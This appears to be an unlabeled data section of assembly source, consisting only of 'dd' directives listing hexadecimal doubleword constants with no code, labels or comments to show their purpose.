dd 0B62FC965h, 64F8CC76h, 0E5196005h, 3C004654h, 28BD0436h
dd 5BBF00CBh, 796424E0h, 60911C50h, 5A9A8A09h, 0DE212B4h
dd 4E94A3DFh, 1058EC82h, 0DC043773h, 7C70BEECh, 95DB01BFh
dd 0DCCBF0FCh, 0C14739Dh, 2D84A98Ah, 80048FDEh, 455B0960h
dd 0ED5D04F1h, 0C01DA241h, 1BFB0E18h, 0FDD88095h, 3B6994CAh
dd 0DCC83690h, 41B78B80h, 8CF88D2Dh, 6B3E1B00h, 38C60832h
dd 98D89DC5h, 3843264Ah, 0A8A3695Ah, 7D26746h, 0F536510Eh
dd 4E38D29Fh, 88004071h, 77482EF7h, 7E090118h, 25CF3A28h
dd 40FF31C8h, 1D59437Ch, 0F8A7750Bh, 7BC44846h, 0FB493F3Ah
dd 0F82E2412h, 3BA0013Eh, 4F6AF634h, 0F728612Ah, 18F8D823h
dd 0FD4AB10Eh, 69427ED0h, 0C0DE1E47h, 2BAF5F5h, 0DE0C1C7h
dd 34802606h, 0D91DE955h, 7211DD09h, 24BA806Ch, 138E497h
dd 65F259A2h, 2B463E63h, 1611E040h, 0F6C283BFh, 0EFFAD7h
dd 0AD9B273h, 6F0D0552h, 697EF113h, 0F20094E2h, 0F3CA1B70h
dd 0B71E0C57h, 0D640E3CBh, 73AADAFh, 0DBB42422h, 76D00BC8h
dd 610008C4h, 9454DDC8h, 0CDE95DFh, 8BCF190Fh, 7C963C89h
dd 0B1804E80h, 157D9DBh, 0E588B747h, 0CCA019E6h, 0D4981006h
dd 58BD562Eh, 9C02D000h, 5C4EFB6h, 23EE88E1h, 34C5C04Fh
dd 0B438AE41h, 95C10243h, 70509A83h, 782C0080h, 8C365DB1h
dd 3A26F3C5h, 0A90900F4h, 0A5642265h, 6C4C2B9Bh, 0F8517913h
dd 0F12590C8h, 7817E560h, 0BFB0004Ah, 20601272h, 3602DD89h
dd 1ED347F8h, 405456EEh, 0E7CE7475h, 0B4CC498h, 0D7300348h
dd 0E63FFC90h, 4FB6077Ah, 3157FFBEh, 6D658A5Dh, 3F970018h
dd 0DE40B8Bh, 9A8F13DEh, 9D2800F5h, 96C16FC8h, 443AD624h
dd 50D2DD8Ch, 0CB170BA3h, 5450E2E5h, 5447FA11h, 0F48A8B00h
dd 30B1D085h, 0BBEC400h, 5B8867E9h, 0E7583B64h, 0F67C9781h
dd 0F0349FCCh, 1626E30Ah, 8B1F7012h, 0C11BC200h, 9F3CF397h
dd 0BDB31090h, 0C9A3BC00h, 8388E2F2h, 18894C51h, 0DC6059C9h
dd 504B228Ch, 80F43421h, 1986ADCh, 9B94B87Ah, 62928AB1h
dd 0A0204F54h, 0ECF750h, 4B22200Ch, 72D46FEFh, 0A3186100h
dd 9F2F4025h, 63CE0FAFh, 0BB2F57B0h, 4D790400h, 0EF03125Ah
dd 76D22D14h, 7738A1C9h, 27090C20h, 9CE4B5A3h, 0D582D91Ch
dd 20C74E8Eh, 9EECFBDh, 0FB870525h, 0A20DDAD1h, 27DC00C8h
dd 0F7BD1FC7h, 7EAA07C0h, 55283996h, 1A64A403h, 3B017A7Eh
dd 0F84A4518h, 292A07D2h, 0DA2460A8h, 0BE3B8A44h, 0AA4587E8h
dd 0B87E1038h, 0E6126875h, 5B008429h, 0C0DF4F8Eh, 0D17003F7h
dd 6CE16066h, 999791B0h, 0F1C6E5FBh, 2F44632Ch, 33501088h
dd 0EDFC5CACh, 52DE8B03h, 29002117h, 94F64F88h, 0F9C1690Dh
dd 9245C2Dh, 0D1033C31h, 0ADD87A78h, 0BDA98EA8h, 0B90C2F01h
dd 7DF9F062h, 0EAA6030h, 0C8DA360Bh, 0E0E15887h, 6950230Ch
dd 677C1A03h, 0F9CB646Bh, 1470C6B8h, 5E7A6161h, 81D3FAAEh
dd 0CF9F0A30h, 742D2364h, 0F50A5C1h, 10C9A5A7h, 41FCACh
dd 56EE32D0h, 4CC463B0h, 802A223Ch, 0D97B49BCh, 2EFF9E2h
dd 0B7D695E3h, 0E8A0E064h, 8A4749CEh, 0C4ED2E25h, 74BA01D0h
dd 467A8D06h, 0CD8180D4h, 0FCD13048h, 554B00D8h, 925CA832h
dd 4304356Fh, 0A08913C2h, 4A89B8E8h, 820070E6h, 77B49E9Fh
dd 1E6CBADAh, 89FA365Bh, 38E4A283h, 80857638h, 25171ADAh
dd 26A16CA7h, 52BB612h, 0A499890Fh, 4202CFA0h, 9B311925h
dd 1C4E3FAh, 0AF30A88Ch, 0D826350Bh, 6C94B2BAh, 575DD40h
dd 93AE0003h, 4AA339F7h, 4F004D32h, 452F046Eh, 12CEBA35h
dd 0B25B7191h, 2B660014h, 1F0CDDB9h, 0CEC4002Eh, 1647A898h
dd 647837B0h, 9ED57805h, 0A02035D1h, 2C30608Fh, 1E926E44h
dd 45146689h, 0CD7C9859h, 3ADD016h, 0ABC06094h, 66059F5h
dd 2DFD3FF9h, 1B445848h, 0BD143B88h, 74C1AEA7h, 98E9F0E6h
dd 0D7511D02h, 41CAE3AAh, 2A29AAh, 0A7DA2EB4h, 0ACF8F4BAh
dd 0ECC42F1Ch, 55323300h, 0F829705Fh, 5C0F0088h, 0D471ED6Fh
dd 5001DDFh, 15D7ABB7h, 0F4711AEh, 29CAF583h, 45F0503Bh
dd 0D60FE4EFh, 18C08D30h, 0A37F68h, 5690FD59h, 389EF496h
dd 0CACB6206h, 397A21h, 0D50AC258h, 0A113072Dh, 0D1F22303h
dd 382AC6E4h, 0C00B220h, 1396B8EAh, 710050AEh, 0C25DDFE2h
dd 0C07B4F0Eh, 0FDADCC49h, 5E398E6Eh, 8C2A0C13h, 7089BFh
dd 17813BAFh, 0E199ABCFh, 39404F30h, 1C43EEh, 1D1BF0D1h
dd 3150510Ch, 0B8367E0Ah, 0DC4498DDh, 0C042E7C2h, 0E733393h
dd 0DD59E77Dh, 0C45C2178h, 0EBFBF907h, 7FE0C04Ch, 6360C3h
dd 6FAD7B2Bh, 0D0735DFh, 0F57AA6FEh, 0F7DB7506h, 41E6DCh
dd 7EEF0938h, 0D2211E39h, 0F7B7C400h, 0FBBB53A9h, 37E85Ch
dd 0B536827Dh, 0BF207F38h, 90329601h, 0AA425E35h, 0E2D74980h
dd 50D6CC26h, 2391701h, 0A2DCBC94h, 76692180h, 0BEDF3B6h
dd 37447F01h, 461840B3h, 0E4F2E040h, 0BC5854FDh, 78A0A48Dh
dd 0B12F1DD1h, 6D580ACh, 0CE2CD4Dh, 69544EE6h, 0C17C02A4h
dd 0D776EB00h, 0B638F701h, 6DD90358h, 0E1C6C3C2h, 0A22065C8h
dd 7C802950h, 6C3F6400h, 0B60B0515h, 46070393h, 0D4CC4558h
dd 0CDE97900h, 88F5EB50h, 994C60DAh, 31EE464h, 73FCDE01h
dd 9BDD3A4Bh, 7CBBE180h, 31AF99F9h, 64483Bh, 500E9535h
dd 104F629h, 84A74967h, 20FCBE20h, 616EF859h, 77540759h
dd 0E6DC7A93h, 711D0051h, 0C1C2E27Bh, 0E0FD092Ah, 0B9F4FFF5h
dd 80462039h, 1A0C0791h, 60575E65h, 0BE3739A8h, 2348CAA7h
dd 1E809F90h, 543AAE7Ch, 684B035Ah, 0E2660D7Dh, 8B7182D8h
dd 0C0557800h, 0E475F451h, 0F5B288FFh, 24B54600h, 0EA565484h
dd 0CF8E010Bh, 2BC57C9Ch, 0F298144h, 838CD031h, 0A050BDC9h
dd 997776Fh, 24CE434Ah, 27CFCC18h, 5C78EB0Eh, 5515802Ah
dd 0E9173C9Ah, 3CEDDE4h, 26A5367Bh, 2FFBE492h, 725488D4h
dd 58392507h, 0D721C9FEh, 0A0F4F1ECh, 0C5060023h, 1EE16E75h
dd 0C100367Ah, 7CBD4631h, 0C0AB5B5Eh, 7BE2DD41h, 1C914FF3h
dd 31AC402Dh, 3ABE7BFDh, 0E4021E08h, 759477A3h, 0CCD5B283h
dd 5054C0C9h, 0DE74CE88h, 405EB30Ch, 604E599Eh, 0D2295176h
dd 90001853h, 2DF6A1F9h, 0CB4403h, 45BEEC19h, 0E3DD9C0Ah
dd 811A1502h, 469A33C4h, 0E2CF00F4h, 2BB6E90Ah, 14987663h
dd 2FCA3114h, 9D9180E4h, 7CAD7F7Bh, 0C02252A3h, 73D45802h
dd 64400A66h, 449834BCh, 0C391A500h, 0F5B921F8h, 575F003Fh
dd 897B0517h, 360074BEh, 4DA1CBCEh, 0A83C4Ch, 46F35AD6h
dd 0C912585Dh, 45881E3h, 595EACFFh, 0D8383832h, 0CA8088C8h
dd 70871A9h, 65D1DC03h, 0E836EF8Bh, 15D52A1Fh, 0FCDB8D95h
dd 448E9200h, 634EB525h, 512B9C0h, 0D47AE7h, 41969B4Dh
dd 137935EBh, 0AEDC9D18h, 992C71h, 45BB500Bh, 4624802Dh
dd 36CFEF00h, 0E967FDB0h, 0CDC22638h, 577D090Ch, 0E68001DFh
dd 2890AEDh, 401896F8h, 250028E0h, 0CF2F0714h, 676273h
dd 7F827280h, 4EEF4494h, 80A16C6Eh, 0C9DC8CF5h, 3B0F00ABh
dd 78252B12h, 0D89064E1h, 0E02C9C78h, 1E120838h, 0C78D9C61h
dd 587F7180h, 0CD30F296h, 51003D76h, 5A110812h, 11DAA24Ch
dd 0F6E4E2Eh, 8738EE49h
dd 4F70A0A8h, 0DC2A45h, 263D587Bh, 0C98C3720h, 0D75D59C0h
dd 75C8C35Fh, 760E673h, 2A370E81h, 8021A7B3h, 0C36CBF0Fh
dd 6EC931C0h, 3A9271h, 43010D6Fh, 7ABA30C4h, 0EE375000h
dd 0FFF26775h, 0DAA240DDh, 20585100h, 2AD31C79h, 0FB2107B5h
dd 0E6A9C725h, 1D05E960h, 0CF27BECBh, 2C38800h, 0F0363C46h
dd 0A7050A0Fh, 0CC99F0h, 0C2378717h, 15F0F312h, 0D7E3B800h
dd 0E60CF4B3h, 98183054h, 717B2028h, 0F04F9E28h, 20BA004h
dd 4082903Dh, 448029ADh, 7DDE6094h, 0E5DC851Ah, 0E86DC19h
dd 11C0E6BDh, 825FF0F1h, 0A345B300h, 57C327FCh, 0D7E13F73h
dd 3366CA00h, 1C6CAED0h, 1BC23005h, 0C440784Eh, 2CEB01F0h
dd 0B87471CBh, 9B544408h, 24BEED03h, 0A9585Eh, 7862179h
dd 0D4E2B81Ah, 7906FF79h, 614F2C67h, 75A14C51h, 4A8D8500h
dd 7258EFACh, 204E782Eh, 579DD040h, 0CEB5009Fh, 0D5287646h
dd 30589907h, 93CB3BDCh, 0F023415Eh, 8E1AD0E4h, 2A13F36h
dd 0CF638483h, 2101ACDCh, 699ED2D7h, 0CC41537Eh, 46301CC1h
dd 374501A2h, 8C36BE6Fh, 0D20C24E2h, 7638C200h, 8D2A8364h
dd 6319C0C8h, 1DB36AA5h, 4A70DD00h, 92D304A3h, 0BDA901EAh
dd 0D7B69C6Ch, 0E4B8314Dh, 9D002B6Dh, 0D4777D42h, 28EB1B57h
dd 0A8CB220h, 0E9C32804h, 25276FB0h, 0D4CBDE1Dh, 183D4498h
dd 55FCC400h, 95917231h, 0D19E04BAh, 0C0D60C41h, 0C0C24628h
dd 0D0607A89h, 0E37D3E7Bh, 19E4E73Fh, 0EF78C075h, 0BF064A4Fh
dd 474E7A42h, 763C0079h, 9CCB6095h, 8D28B9DEh, 0EB028F8Eh
dd 0C08013A3h, 0B04486h, 9812DAC2h, 8EE934ECh, 16143D00h
dd 0F6375FA4h, 774F04C6h, 4EBC6CC8h, 0D2A6C08Bh, 1463210Ch
dd 0E0D5AE5Eh, 9F6F5400h, 6498105Dh, 0DD5A141Dh, 789DEFC2h
dd 50D46191h, 5FB830h, 0E6D434E9h, 0C297F0FBh, 1957D109h
dd 0AE2CB03Ch, 2D0412F8h, 0A4EC208Ch, 5A0033CCh, 0E218785Dh
dd 0B68105Ch, 0DFD165FAh, 0C04A890h, 8773D872h, 819085E8h
dd 9861A701h, 8D9C0224h, 0BF00DC62h, 0BA808367h, 7D2E86B9h
dd 2460B4EFh, 7C23D533h, 665005Ah, 0B56D77F9h, 5F02E518h
dd 0B9B035DEh, 178861BAh, 54CC5421h, 797D3C49h, 140F124h
dd 6C862004h, 250217C7h, 595CC051h, 101B3A5Ch, 212F0E00h
dd 6157AB81h, 7A3FF973h, 944980EDh, 0C43A6C54h, 68066209h
dd 0A8524ED6h, 577B2D00h, 0DE725671h, 0A0660030h, 8A55C7A4h
dd 978BA2DCh, 25E0CAC0h, 0B9DD0096h, 0E357FB17h, 48F745FCh
dd 2831C384h, 53E15979h, 0CB64C70h, 852050F4h, 220A55B0h
dd 0B4D03D24h, 8C719861h, 0B9F7FCh, 0EBFE3ABDh, 8595020Fh
dd 675E7500h, 0F3359F93h, 80889192h, 4FA0816Ch, 0EF01035Fh
dd 0B354F1BFh, 0A8C374E9h, 988B085Ch, 1238E6B0h, 1DCBFD58h
dd 0EBE3442Ch, 108CC8DCh, 8023B03Fh, 522590D0h, 0C066DFBFh
dd 0CC20DC99h, 9307C370h, 0BA122960h, 0EF011C21h, 11D3420h
dd 3DA37B9h, 2029DD28h, 3560A44Ch, 9FF26FE8h, 29EE81Fh
dd 0D9D022D4h, 0D8605F3Ah, 7630555Ch, 0DF6128A8h, 0CF71C042h
dd 1D806419h, 8904301h, 0D8276BC0h, 2177DFh, 0C1CD8E32h
dd 0D22052F4h, 84210604h, 1C85E730h, 0C15384h, 0E023FD2Dh
dd 338C100h, 8AFCF345h, 91BE2C00h, 7E0D5E3Eh, 265F02F2h
dd 499E1607h, 46DDE860h, 0E8DEC329h, 0CEB97C00h, 0C1624F85h
dd 2667BE51h, 30C0FCD9h, 497739h, 0A8F2B048h, 0BE73A2h
dd 8D7ECCEh, 6E2B83F8h, 0D6753E00h, 9EB68750h, 84952693h
dd 60270044h, 547C3597h, 8C5C5971h, 4E6807Ch, 12200D44h
dd 942BE3E4h, 92F482F8h, 4555B482h, 31074BC3h, 3D376C3Fh
dd 0AC88CD71h, 0EF16FFCh, 57E475F5h, 1A0F20F4h, 0CD80DE9Fh
dd 0D23746D6h, 40123600h, 0EE39DD03h, 7FE8E0C4h, 404F4A2Ah
dd 0C1509B50h, 7C0130E1h, 6EA98BAFh, 79F4AA32h, 61AE04B3h
dd 0C41BBD45h, 0C36004B4h, 2A40A42Ch, 37806CB9h, 66E9CD46h
dd 0DFA00D4h, 0F22DCF1Eh, 0BE7DD0CBh, 8C7F6507h, 2FF64F22h
dd 0CCBF1BE8h, 35B8C15Ah, 3650163Ah, 85008697h, 6609B942h
dd 0F3B7254h, 0DFB130E6h, 1CC231F8h, 0D13E45FAh, 3415C65h
dd 8C22AE28h, 0E19107CEh, 0E0417C5Fh, 31A47E09h, 6C1D6600h
dd 7DCA6DAFh, 74F14CA6h, 3B05C522h, 206C7173h, 881C01BFh
dd 0E85B316Eh, 68909D76h, 0F52A5F01h, 0F4A2207Bh, 130D74D0h
dd 0D04ECD62h, 2232820h, 0D3EF1A04h, 708CCC56h, 7E85002Eh
dd 0BBD7A3E2h, 0CDE20C09h, 0A692F200h, 0CA84AA21h, 6F449E22h
dd 3C37DFE0h, 910F4D59h, 45C460Ch, 0C0CC759Ah, 0DF6D0036h
dd 1F86D0AEh, 0B9007167h, 2153E492h, 13E16B91h, 204FA1CDh
dd 0C9BA432Ch, 5F1B7B05h, 0C480D6EDh, 0CA337FFh, 0D020C572h
dd 0F0C0CA29h, 0EAD45DB9h, 130749Ch, 0E251E103h, 107F4E4Ch
dd 0F0B8302h, 0DD99C749h, 0CCF51645h, 38006E3Ch, 0F293AE10h
dd 170B29BDh, 213C5E30h, 60D52094h, 0A006B70h, 0CF218375h
dd 0F31307h, 10883D97h, 0CD8755F6h, 0F7AC1501h, 0F4D437DEh
dd 1D3A80C4h, 0C4C321AEh, 8C177CCAh, 800B344h, 0CCC99131h
dd 1A6DE95h, 67FEDA10h, 0DE09E250h, 0F61C3859h, 65DCD807h
dd 0A08452E3h, 14DB48h, 757BF369h, 0B046AF5Dh, 803CCC48h
dd 537064C0h, 1A99001Dh, 0DFA3659Eh, 0C4448D69h, 0AEF600E7h
dd 90C81F83h, 0B9010C1Ah, 0D96721DBh, 72E5374Ch, 256165CCh
dd 9CA9C0E4h, 9F1C8C44h, 0D4C44D51h, 5A407B4Eh, 0B8DD15B3h
dd 18EF363Bh, 6D3951CCh, 0EC6AFC3Ch, 0E35C39B1h, 72F24480h
dd 7C3BD9D4h, 7B75E002h, 98575F77h, 4A5EA1BCh, 0B8A02042h
dd 0EF4C1B3Ah, 0A35A189Eh, 0C07D4E19h, 48F69D81h, 1DFCC08Fh
dd 3AD3700h, 72502685h, 0E7322ED6h, 6DF1861h, 6090A5A8h
dd 0C014FA48h, 3C4E1CCh, 12803956h, 0F079807h, 0A486A453h
dd 434CA83Ch, 81B80BDAh, 76FB80CBh, 79E7D45Bh, 7AAE1C8Ch
dd 4A8A8271h, 0DC469298h, 0CBD1A307h, 0E0601783h, 1CBE6CA8h
dd 4B0F1F24h, 500FC2B6h, 42901CB6h, 0D67AFE7Dh, 1EFA84C6h
dd 0B56FE504h, 0BCC29358h, 6E5520DBh, 58901D70h, 0E0232F5Ah
dd 8B48B05Fh, 5E9B0916h, 0F880F82Ah, 588D0F15h, 2412D439h
dd 0A400A0BFh, 416D6357h, 20AF4B5Bh, 5E48A1A4h, 58D31400h
dd 0BCDB7D57h, 0FFA31FC5h, 45CE3E9Ch, 88614EACh, 7A1C6E74h
dd 0DF80E1BCh, 70D172A1h, 3258E4h, 7E755280h, 0A30F8B0Bh
dd 0A2F4BEF6h, 0E0F5966Ch, 514318h, 9702034Eh, 0CEC82774h
dd 3823CA26h, 0EC703440h, 20F85BE4h, 0C1D31A74h, 0E0C09CB0h
dd 0CFB6F11Eh, 0DC4D3936h, 80747D9Dh, 77954611h, 0C1548D23h
dd 5F300A90h, 0E59A60BDh, 29180B39h, 4480CC7Ah, 202C3D30h
dd 8BA30E3Ch, 78E1D7h, 45FEC1ECh, 9AB300D6h, 94755F54h
dd 9C13FBF9h, 0A8C8C531h, 0EB68705Ch, 24D8E8h, 6E369F3Bh
dd 2D4BB6ADh, 0EE406201h, 6CCF338Fh, 79D848h, 1B7F8743h
dd 2301ADBBh, 5E37B009h, 0E480103Dh, 361DEECh, 673676D5h
dd 0EC07ABA7h, 0AA97A07Bh, 9960DCFFh, 0C1A41931h, 0E4291C7Ah
dd 69C3C759h, 7E6C80DFh, 6304EF8Dh, 0A8555E84h, 6A103740h
dd 0D09E2ACAh, 0DED701BCh, 3F5FD21Bh, 7E00A9BEh, 0E481AE4Eh
dd 0C82C1358h, 0D411BCE2h, 8720D20Dh, 0BA2C10B8h, 56003FE6h
dd 6F0C05E1h, 0A0C6E45Ch, 905F1CD8h, 0D030040h, 0CCA5121Dh
dd 3899DFBAh, 495E1403h
dd 486298BEh, 547A078Ch, 409D6A51h, 84BD154Dh, 0F088FE60h
dd 2CC25DBEh, 8D70Bh, 292416FBh, 0FF4EE474h, 5D5FC40h
dd 188BC639h, 0E9454F6Eh, 710BC451h, 3BDDF6h, 0DC11D9DEh
dd 0D2070E6Fh, 9032D898h, 0F5EDE94h, 10F1450Fh, 5790E005h
dd 7E89A5FDh, 0ED4624F3h, 67760CCh, 301C807h, 6CF98757h
dd 84F0F1C7h, 4C301D1h, 0CA2936DDh, 13603220h, 890C245h
dd 1F5F5Ah, 57604170h, 0A7F0A08Ch, 6F54A301h, 39D42059h
dd 40E04C57h, 1350D5h, 44E44C64h, 75FEF514h, 0A274C501h
dd 0BA21CFC2h, 9801F825h, 4306224h, 32832606h, 0FC82084h
dd 7824F1Ah, 0D8D16F02h, 0FE008C52h, 0C3751F8h, 14ACD574h
dd 0B86EEC1Eh, 60F4122Ch, 3309AD18h, 82BD0500h, 0E5759C29h
dd 1487F4Dh, 1463B32Ch, 107F4E26h, 11E32E0h, 0CABF67F0h
dd 228C3541h, 10C70BD0h, 7EF90062h, 2478EB80h, 0C02C0F08h
dd 0CAEA15E4h, 81402858h, 57A71258h, 161427C4h, 1EA5F641h
dd 0DF70C690h, 9A0339AFh, 0A66CC751h, 9EF2FEA4h, 70F6A764h
dd 0CA0BA200h, 135079AEh, 404DF8E1h, 0FC0F5A98h, 49C0A1DCh
dd 29A20169h, 0E2405CA9h, 3EF8C028h, 808B6C54h, 0E01236C5h
dd 0CC00E446h, 0DB4E3572h, 2FE13E22h, 9C20DD11h, 576F82A1h
dd 0D2C5E507h, 66A0B34Fh, 7D3A35h, 0C77F7B83h, 8267A31h
dd 0DE2B8400h, 7585F373h, 9F57178Fh, 0A5E0CCC4h, 15B06600h
dd 0EBFD50D2h, 0F1CD0063h, 0AD799C3Eh, 680A1607h, 8C5B5E64h
dd 6082DD44h, 27F020D5h, 7403F537h, 85CF24BAh, 0D1B64Fh
dd 0FB68EE39h, 0B10FE5ABh, 68E02FE9h, 2EE21Eh, 546E7E63h
dd 0CA47C259h, 0F22F3801h, 67CC8746h, 448F8451h, 0EAE534DCh
dd 2E0D0BE4h, 0C804553Fh, 1C74D8E7h, 79607402h, 5228C32Ah
dd 8C9211E8h, 0E05600C8h, 336D671Ah, 530500DCh, 0D1226A8Eh
dd 0D21F65A6h, 1A530C6Fh, 4206C10h, 4FE8C337h, 0CD4488h
dd 8422625Ch, 0E5B463BCh, 0D675F50Bh, 850C42E2h, 4A806D8Ch
dd 1D208B9Dh, 0C0CAF3C8h, 0A8F5D5B9h, 0B11789F1h, 58089075h
dd 7A7882A9h, 58445B5Fh, 28E2CD0Fh, 63528375h, 34C100C6h
dd 27A3F7E1h, 88002F84h, 0F4CE4408h, 5F64C54h, 0D8E2DBD3h
dd 7288405Eh, 0F5516F79h, 280CD1Eh, 50AC7A00h, 5294C1E6h
dd 6A01B0DFh, 0E0D27F8Ah, 77942093h, 0DC21C54Ah, 83D2EF45h
dd 58595EF0h, 7867B889h, 1C57C0EDh, 99D47Eh, 9870AA80h
dd 0F602DDEAh, 7E6FE03Ah, 7409956h, 1035A17Bh, 7DA3AA99h
dd 95B8207h, 71D379B1h, 80F6E2E2h, 75162680h, 0D9741C30h
dd 0A73742B3h, 5C56F9E4h, 63804862h, 2ECE854h, 8794B6DDh
dd 0B009498Dh, 86A09F7Ah, 34BDA102h, 51CB0429h, 5617014Ch
dd 34357F84h, 2FF46B68h, 5759D3Ch, 0D63D9916h, 42E5A830h
dd 86020712h, 0D0822E40h, 0A4D63C14h, 62BF1F09h, 78C4C8D9h
dd 70A10020h, 98E77482h, 0EE004E54h, 5006AB8Ah, 0FEE1632Ch
dd 0B8D150CFh, 37CA2103h, 4F6C13BBh, 0FE510820h, 0A81900DCh
dd 5CC00DF5h, 0B1027216h, 21EF7042h, 0A25CE811h, 80662875h
dd 0A72B3AD4h, 870C0704h, 0E4A21Eh, 604F10D4h, 0E09AC6h
dd 0FC2BCBB3h, 3E9F2D46h, 0BC871B28h, 0D47A271Dh, 3157C0Eh
dd 0AA3769h, 0BA8776A8h, 55547035h, 4A5EDF3Ah, 0F1CEB820h
dd 21FD2DEBh, 7810B410h, 4398E377h, 0DCF59D12h, 0CD9AC491h
dd 0F1E65E80h, 2C0D1028h, 489DF730h, 28EBE82h, 277AF57Fh
dd 2CC45BD8h, 590022EEh, 42233C26h, 954C9Eh, 2E60B610h
dd 0D418B961h, 0FD6534B0h, 98825CC8h, 0CC002944h, 3D84F0EBh
dd 4BC8BE05h, 0C7CD89h, 28A0F480h, 13EE1DD5h, 2792C235h
dd 7064CC46h, 96D1F300h, 9CD09E7Ah, 4A3F006Fh, 0B34694A5h
dd 0FF0068FBh, 319BA3FAh, 0A6E5A7h, 6D2A4578h, 844E1CE7h
dd 79AAC918h, 6F25E030h, 85003891h, 0A8E5B8Fh, 94102160h
dd 0C0B2615Fh, 0B5325959h, 43FC026h, 93416041h, 187865h
dd 0F4ABE3CFh, 0C7F54C6Eh, 8DD08F00h, 0F8068925h, 29C907E9h
dd 0B3CCEBBAh, 6107492Ch, 6351BCC6h, 60987AC0h, 8E960A85h
dd 40422Fh, 934D7F78h, 0C328D775h, 62015C40h, 0B05916FEh
dd 3220630Ch, 403318E4h, 364A2195h, 7203233Ah, 0D7000190h
dd 52071176h, 1C5FC26Eh, 804DC88Fh, 0E8F0D4B8h, 55018DD3h
dd 0C0EFBA9Fh, 4996E340h, 651300FEh, 9963BF69h, 0CD122E03h
dd 0A3EDA105h, 5A04B07Fh, 678503B8h, 4C785629h, 0BE051D8h
dd 4EAC9054h, 6F268A18h, 0A9D8270h, 0B63356EDh, 0B59C80ACh
dd 0D8164B47h, 14BBE90Ch, 0FC2739ABh, 90D27ECFh, 35B80061h
dd 0B17532E8h, 0BBFB4F36h, 0B7B683C1h, 3AC14DDh, 40162339h
dd 0CDB0C133h, 4B54118Dh, 5A00A3A8h, 0B1FE55FBh, 9AEEECCh
dd 5B0337A6h, 0EB59BE00h, 0D2002ABBh, 256A3274h, 1AF68BAh
dd 0CCA3DA97h, 22A9C684h, 44363A1Ch, 3EE94C39h, 0C0118230h
dd 0C2012157h, 40113808h, 7AD00F8Fh, 0F92A05A3h, 0C1717523h
dd 0ECE8EFAAh, 0B93FA919h, 516E14B2h, 100924C4h, 9622E940h
dd 70F80054h, 78387AE4h, 32EC9D9Bh, 6039717Dh, 761280D3h
dd 4F08508Fh, 33FC0DD2h, 31A9AB41h, 27476095h, 2A0C5B78h
dd 0A9AE13DBh, 0A403019Dh, 4BE86EEDh, 5BD1808Ch, 0C09971Dh
dd 0A6870062h, 8F454AE7h, 0F607F2D2h, 73BB6693h, 44058D72h
dd 46C60054h, 324D982Ah, 77300DD9h, 1D63C8EFh, 0BE083E7Fh
dd 23316900h, 0C97BBD85h, 240628FEh, 8707BADAh, 8C120091h
dd 53F736E6h, 8600D6AEh, 13E985EDh, 308D3569h, 4E72507Dh
dd 990764C8h, 54A2C998h, 4C329010h, 761B0F85h, 4F803A6Dh
dd 0A7DE840Ch, 0C3C884ABh, 4A306880h, 76A3E9B4h, 7EBE02BBh
dd 8616DCFCh, 12B20C61h, 6BAC81B6h, 0DAF11076h, 30E0A848h
dd 0DDB19234h, 7D066D6Fh, 1FADE93h, 0D3148040h, 0E73204FCh
dd 84D74B6Ch, 0AD5880B0h, 8289371h, 1442A08Bh, 61705F01h
dd 418EC484h, 80801320h, 7DD21B69h, 530373Fh, 7CA1C152h
dd 0E6CA80A8h, 5300B307h, 7D8E8B6Ah, 71DDD298h, 0E31C0F55h
dd 70006212h, 16334B49h, 295F9E13h, 432A6820h, 0C422FBE9h
dd 531516h, 0B2149AF9h, 0BD099BC9h, 0E1EEB5h, 21B14CB4h
dd 0BE4300E8h, 74ADEF7Bh, 0D900199Ch, 0A9B9429Bh, 506AEA62h
dd 20699CCCh, 0A644E11Eh, 5C660370h, 0AD1486F2h, 4F6BD900h
dd 96E19C08h, 7840F9D3h, 0F401D6BFh, 5AFA02h, 0DB73487Bh
dd 9DAA763Eh, 0E4015EB8h, 70BF2757h, 0F9CC1532h, 1E376C4h
dd 4D8482C9h, 0D71465DAh, 0CAD75100h, 8F2FE4C3h, 0A4603E4Eh
dd 0F3640487h, 5A9B40E7h, 8617BF63h, 1019703Ah, 84C05840h
dd 0C1A460A1h, 0E9F67E33h, 9A777101h, 86149674h, 8DDB618Eh
dd 6E292BA1h, 0F5DDC40h, 0DDF1CB02h, 4428E0E8h, 0F01300B8h
dd 0AA986E04h, 56E66B1Ch, 8F6187F9h, 454302BEh, 9AAD88D9h
dd 57EC0386h, 52CB9640h, 80682939h, 53AE7FFBh, 60EDE2C4h
dd 89A104E3h, 3B2A2B35h, 99007C68h, 53A0B2B4h, 0E255BB6h
dd 72246B2Ch, 0FD17E260h, 0D3139F08h, 7A0AB89Ch, 7820D803h
dd 42C6E000h, 213AC951h, 0A24A3E55h, 3E4C1A40h, 0B8E70037h
dd 8AD8DB20h, 3A6100A1h, 7EAD654Bh, 1C00930Dh, 0A3C93301h
dd 0E3D26430h, 0EA204C50h, 0E4FA07A5h, 0D049C204h, 2E664722h
dd 80253B3Ch, 0DDC9E6BAh, 0B04375D3h, 7AE70E6Ch, 7B8263B8h
dd 4C3969Fh, 2823A1B8h
dd 427E4816h, 0E999B005h, 8E8C5440h, 14C6BC1h, 3EE7D869h
dd 0C856EF38h, 870B3B94h, 3B6A19Fh, 0F30978h, 7059BBF0h
dd 54DA337Fh, 0B7320400h, 86559396h, 80F099D9h, 0F7E08C8Eh
dd 57EC279Bh, 0CF59900h, 0FCDEA03Ah, 84225839h, 30340216h
dd 0BFE71FA4h, 2C7DF17Dh, 0FAB9E800h, 0DB6F4D0Ah, 0B81D486Eh
dd 91A5D09h, 0E0172301h, 7A343230h, 1F329F48h, 2A14777Dh
dd 5E7F040Ch, 0D0817A1Ch, 7EE5F768h, 0A9001072h, 13D6E70Dh
dd 1D260903h, 840F106Ch, 0C05900CCh, 50926E4Eh, 39745041h
dd 0A1000751h, 6B49BBE2h, 2501CB26h, 0B3286450h, 0CC62F9E0h
dd 0A5DC850Ch, 590F2239h, 0B54A117Fh, 0E7D100BCh, 0CCE25CECh
dd 38C7B089h, 4B823271h, 0F781227Ch, 10A850C1h, 1E0A7F30h
dd 940190CBh, 0A40B8471h, 64247250h, 8CF540E0h, 5DE562h
dd 4ED11059h, 0C0C33D9Eh, 40F43716h, 1D75CC20h, 0D8811F31h
dd 71E74299h, 0C4400F3Eh, 0C86051C6h, 0A489C4FCh, 3CB111h
dd 45D93739h, 9200A79Eh, 43485DEAh, 1235CCh, 0D72CA16Dh
dd 0A08459DEh, 38289091h, 7056410Bh, 0D01D8A1Fh, 0B044D180h
dd 5D5A6EFh, 0F6155224h, 0DAC501FFh, 48DF84D2h, 893E779Ch
